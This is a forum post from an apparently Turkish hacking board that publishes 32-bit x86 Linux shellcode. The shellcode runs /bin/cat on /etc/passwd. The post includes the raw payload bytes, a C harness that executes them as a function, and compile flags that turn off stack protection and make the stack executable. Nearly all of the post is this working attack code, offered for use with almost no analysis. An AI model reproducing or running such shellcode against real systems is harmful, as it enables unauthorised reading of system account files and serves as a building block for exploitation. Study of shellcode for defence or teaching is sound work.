İPUCU

Bug Researchers Yeni bulunan açıklar.

Seçenekler

x86/Linux execve("/bin/cat", ["/bin/cat", "//etc/passwd"], NULL) Shellcode

12-08-2016 11:59
#1
22a02 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2016
Nereden:
Assembly
Mesajlar:
10
Teşekkür (Etti):
0
Teşekkür (Aldı):
3
Konular:
10
#Gecmise Donus \w xd3.



Kod:
/*
 *             ::/etc/passwd Read Shellcode
 *   __author__: xd3
 *     __date__: 15/5/22
 *   __format__: ELF 32 Bit
 * __platform__: x86/Linux
 *    
 */
 
 /* Usage:
  * 
  * $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
  * $ ./xd3
  * ../bin/cat /etc/passwd output
  * $
  */
  
  /* In C:
   * 
   * #include <unistd.h>
   * int main() {
   *         char *argv[2] = {"/bin/cat", "//etc/passwd"};
   *         execve(argv[0], argv, NULL);
   * }
   * 
   */ 

#include <stdio.h>
#include <string.h>

const unsigned char xd3[] = \
"\xeb\x1d\x59\x31\xc0"
"\x89\xc2\x50\x83\xc0"
"\x0a\x40\x68\x2f\x63"
"\x61\x74\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd"
"\x80\xe8\xde\xff\xff"
"\xff\x2f\x2f\x65\x74"
"\x63\x2f\x70\x61\x73"
"\x73\x77\x64";

int main(){ 
    printf("[~] Byte-Code Len: %d\n", strlen(xd3));
    int (*sh3llc0de)();
    sh3llc0de = (int (*)()) xd3;
    (int)(*sh3llc0de)();
}
Konu 22a02 tarafından (12-08-2016 12:02 Saat 12:02 ) değiştirilmiştir.


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı